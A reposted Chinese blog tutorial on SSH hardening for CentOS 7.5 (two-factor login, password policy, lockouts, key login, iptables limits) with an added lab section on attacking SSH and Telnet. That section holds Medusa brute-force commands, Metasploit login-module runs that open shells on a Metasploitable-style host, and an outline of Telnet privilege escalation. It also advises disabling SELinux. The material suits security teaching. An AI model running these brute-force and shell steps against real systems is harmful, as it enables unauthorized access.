ssh安全加固

devopsec 等级 906 0 0

Linux SSH 安全加固,这里使用CentOS7.5 做演示

一、配置SSH双因素登录

​ 1.确定系统时钟是正确的

2.安装相关依赖

​ yum install -y git gcc automake autoconf libtool make pam-devel 

​ 3.安装google 验证器

git clone https://github.com/google/google-authenticator-libpam
cd google-authenticator-libpam
./bootstrap.sh
./configure
make && make install
ln -fs /usr/local/lib/security/pam_google_authenticator.so /lib64/security/ 

​ 4.配置验证器
​ 修改SSH文件 将ChallengeResponseAuthentication 修改为yes
​ 修改PAM文件 vim /etc/pam.d/sshd 在auth substack password-auth下面一行添加 auth required pam_google_authenticator.so
​ 关闭selinux 修改/etc/sysconfig/selinux 文件 将 SELINUX=enforcing 修改为disabled
​ google-authenticator
​ 重启SSH服务

二、设置密码长度以及复杂度

​ 1.设置密码长度

修改 /etc/login.defs文件
将PASS_MIN_LEN 数值修改
修改 /etc/pam.d/system_auth配置文件
在password requisite 行后边添加: minlen=数值 

​ 2.设置密码复杂度

方法一:修改/etc/pam.d/system-auth
在password requisite 行后边添加:
    ucredit=-1 #至少包含1位大写字母
    lcredit=-1 #至少包含1位小写字母
    ocredit=-1 #至少包含1位特殊字符
    dcredit=-1 #至少包含1位数字
方法二:使用如下命令:
    authconfig --enablereqlower --update
    authconfig --enablerequpper --update
    authconfig --enablereqdigit --update
    authconfig --enablereqother --update 

三、设置密码重试限制

1.限制tty登录

修改login文件:
# vi /etc/pam.d/login
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=3600
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。
# 普通用户和root用户,密码输入错误5次,都会被锁定,普通用户被锁定1800秒,root用户被锁定3600秒
# deny=5表示密码输入错误5次
# unlock_time=1800表示普通用户锁定的时间,单位为秒
# root_unlock_time=3600表示root用户锁定的时间,单位为秒
# even_deny_root表示root用户也锁定 

2.限制ssh登录

# vi /etc/pam.d/sshd
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=1800
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。 

扩展

1、Medusa SSH弱口令破解

如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么充实人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统

Medusa对特点的ssh服务进行用户名和密码破解

将需要破解的密码,写入pass.txt文档中,
/root/Desktop/#vi pass.txt
123456
12341234
123123
asdasfdsd
12345678

用pass.txt里面的密码,进行破解
#medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

2、Metasploit利用SSH登录反弹Shell

使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhost 192.168.1.100
msf>set username msadmin
msf>set options 

msf>set password msadmin
msf>show options

运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

3、Metasploit获取Metaspreter Shell

利用获取的Bash shell,注入Metasploit中Metaspreter payload从而获取更强大功能的shell

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

登录系统
msf>run

查看会话2的具体信息
msf>sessions -u 2 
msf>sessions -l

查看帮助
msf>help
msf>msf>sessions -u 4 
msf>exit 

ssh安全加固
ssh安全加固
ssh安全加固
查看连接情况

# netstat -pantu
#ifconfig 

ssh安全加固

 # msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhosts 192.168.1.100
msf>set username msfadmin
msf>set password msfadmin
msf>run

msf>sessions -l

查看会话1的登录端口等信息
msf>sessions -u 1
msf>sessions -l

查看登录的系统版本信息
msf>sysinfo
msf> 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

SSH安全防御

1、SSH修改默认端口
2、SSH防御暴力破解用户账号
3、SSH设置PGP登录
4、Iptables设置阈值防止暴力破解

1、SSH修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口

#service sshd status
#vi /etc/ssh/sshd_conifg
port 66

#service sshd restart 

ssh安全加固
注意:修改之后,必须重启ssh服务

2、SSH防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
ssh安全加固
出现问题 :不能使用用户密码登录,很大程度上存在复杂操作
ssh安全加固

ssh安全加固
测试
ssh安全加固
配置成功

3、SSH设置PGP登录

默认情况下,SSH使用用户名和密码远程登录。但也可以使用密钥对进程身份验证登录(公钥和私钥)
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

4、Iptables设置阈值防止暴力破解

利用Iptables对多次连接验证错误,进行账户锁定120秒

#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --set
#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP

#service ssh restart 

ssh安全加固
在设置完之后,需要重新启动SSH服务

暴力破解、认证过程、登录提权

1、telnet版本获取
2、telnet密码破解
3、telnet登录测试
针对Telnet暴力破解

Telnet服务端默认情况下使用23端口
1、telnet版本获取
使用nmap获取telnet版本信息,或者使用metasploit获取对应版本信息。

#nmap -p23 -sV 192.168.1.105 

ssh安全加固
使用msfconsole

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_version
msf>show options
运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1

msf>search telnet 

ssh安全加固
ssh安全加固
2、telnet密码破解
ssh安全加固

msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password
查看用户密码
msf>show options

取消查看用户密码
msf>unset password
msf>show options

msf>set pass_file /root/Desktop/pass.txt
msf>set threads 10

运行命令,从pass.txt中的密码一个一个测试
msf>run
msf>
msf> 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
3、telnet登录测试
使用破解好的会话链接telnet,并执行对应命令。
使用sessions -l 例举建立的会话
使用sessions -i id 使用对应的会话

msf>sessions -l 
msf>sessions -i id 

#ifconfig 

ssh安全加固
ssh安全加固

telnet登录提权

1、msf登录telnet
2、设置kali nc监听
3、msf连接shell下载exp
4、编译执行exp,获取root

1、msf登录telnet
在metasploit中使用telnet_login进行登录,并使用sessions -i id 连接shell

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password

msf>run
msf>sessions -l 
msf>sessions -i 1 

ssh安全加固
ssh安全加固
2、msf连接shell下载exp
ssh安全加固

参考链接 :
CentOS7.0系统安全加固手册 : https://www.jianshu.com/p/501346ec6b26

Linux SSH安全加固 :https://www.jianshu.com/p/a953e70ea997

作者:Odinmx
链接:https://www.jianshu.com/p/a953e70ea997
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

本文转自 https://blog.csdn.net/qq_40907977/article/details/104198790,如有侵权,请联系删除。

收藏
评论区

相关推荐

ssh安全加固
(https://blog.csdn.net/qq_40907977/article/details/104198790)Linux SSH 安全加固,这里使用CentOS7.5 做演示
6、SSH远程管理服务实战
1.SSH基本概述 ========= SSH是一个安全协议,在进行数据传输时,会对数据包进行加密处理,加密后在进行数据传输。确保了数据传输安全。那SSH服务主要功能有哪些呢? 1.提供远程连接服务器的服务、 2.对传输的数据进行加密 那么除了SSH协议能提供远程连接服务,Telnet也能提供远程连接服务, 那么分别的区别是什么呢? ssh服务会对传输数据
SSH介绍及连接原理
SSH是Secure Shell Protocol的简写,由IETF网络工作小组(Network Working Group)指定;在进行数据传输之前,SSH先对联机数据包通过加密技术处理,加密后在进行数据传输。确保了传递的数据安全。     SSH是专为远程登录会话和其他网络服务提供的安全性协议。利用SSH协议可以有效的防止远程管理过程中的信息泄露问题,
SSH服务器设置
\==ssh服务器== /etc/init.d/sshd \[stop|start|restart\] netstat -tl可以查看ssh服务是否正在运行 远程登录ssh:ssh username@hostname eg:ssh yangjia@localhost 设置文件:/etc/ssh/sshd\_config(debian)
SSH概述与配置文件说明
**一、什么是SSH?** 简单说,SSH是一种网络协议,用于计算机之间的加密登录。在出现SSH之前,系统管理员需要登入远程服务器执行系统管理任务时,都是用telnet来实现的,telnet协议采用明文密码传送,在传送过程中对数据也不加密,很容易被不怀好意的人在网络上监听到密码。如果一个用户从本地计算机,使用SSH协议登录另一台远程计算机,我们就可
ubuntu下允许root用户ssh远程登录
SSH服务器,可以通过SSH协议来访问远程服务器,代替telnet和ftp。但是ubuntu默认是不启用root用户也不允许root远程登录的。所以需要先启用root用户 启用root用户:sudo passwd root      //修改密码后就启用了。 安装OpenSSH server: 1\. 使用apt命令安装openssh server
virtualbox 里面安装linux虚拟机,NAT连接模式,相互ping通
**环境:** 本机 IP地址10.88.58.79 linux虚拟机ip地址:10.0.2.15,ip获取方式为dhcp 虚拟机与本机连接方式为:NAT ssh工具:SecureCRT 相互ping,都可以ping通,在cmd里面也可以telnet通linux,但是远程ssh连接10.0.2.15的22端口,SecureCRT连接界面就报错:Pa
Fedora开启SSH服务
1) 安装openssh-server yum install openssh-server  2) 查看是否已成功安装openssh-server rpm -qa | grep openssh-server  3) 修改ssh服务的配置文件 >    配置ssh服务的运行参数, 是通过修改配置文件/etc/ssh/ssh\
FinalShell使用
最近发现了一款同类产品FinalShell,还是一块良心国货。初步体验了一下,确实是良心之作。且免费(通用版),支持国货。 FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求. **官网:**http://www.hostbuf.com/ **特色功能:** 免费海外服务器远
Git使用总结
生成密钥 ==== 1. 打开Git Bash, 运行  \_ssh-keygen  \_ 2. 密钥生成空间 \_~/.ssh/id\_rsa   \_(C:/User/.ssh) 3. 输入密码(不输入增直接回车跳过) 4. _~/.ssh/id\_rsa.pub_ (公钥), _id\_rsa_ (私钥) 下载代码到本地 =======
Linux服务器ssh远程管理
**SSH远程管理** SSH(Secure Shell)是一种安全通道协议,主要用来实现字符界面的远程登陆,远程复制等功能。SSH协议对通信双方的数据传输进行了加密处理,其中包括用户登陆时输入的用户口令,与早期的telnet(远程管理),rsh(Remote Shell ,远程执行命令),rcp(远程复制文件)等应用相比,SSH协议提供了更好的安全性
OpenSSH服务及其相关应用
OpenSSH ======= 早期主机使用**远程登录的协议**是**telnet**,**TCP/23**(telnet是基于TCP的23号端口的) telnet有两大缺陷: 1、用户认证过程是明文的; 2、数据传输是明文的; 因此telnet不再使用了。于是就出现了**ssh**。 1、ssh ------ **ssh**(
Redhat 6 升级 openssl
本文涉及rpm源码包下载地址:http://mirrors.163.com/centos/6/os/x86\_64/Packages 安装之前配置环境变量 /etc/profile 增加以下几行 export C_INCLUDE_PATH=/usr/local/include:$C_INCLUDE_PATH export LD_LIBRA
SecureCRT and SecureFX 8.5 安装破解版(附注册机+破解教程) 64位
**securecrt8破解版**是一款终端仿真程序,该程序可以让你在windows系统中登陆UNIX或Linux的服务器主机并实现管理设置,十分的强大。在最新的8.3版本中,软件已经可以支持包括SSH2、SSH1、Telnet、Telnet/SSH、Relogin、Serial、TAPI、RAW 在内的十几种协议的传输,并且能够支持标签化SSH对话,可以同
Shell编程
**案例:检测linux服务器上sshd服务是否正常运行,如果不在运行,那么请开启sshd服务。** **看到以上这句话我们需要了解,sshd服务是什么,以及如何查看sshd服务是否在运行,包括如何启动sshd服务。** **一、什么是sshd服务** **其实网上有一大堆的介绍sshd的简单的一句话概括就是SSHD服务** **SSH 协议:安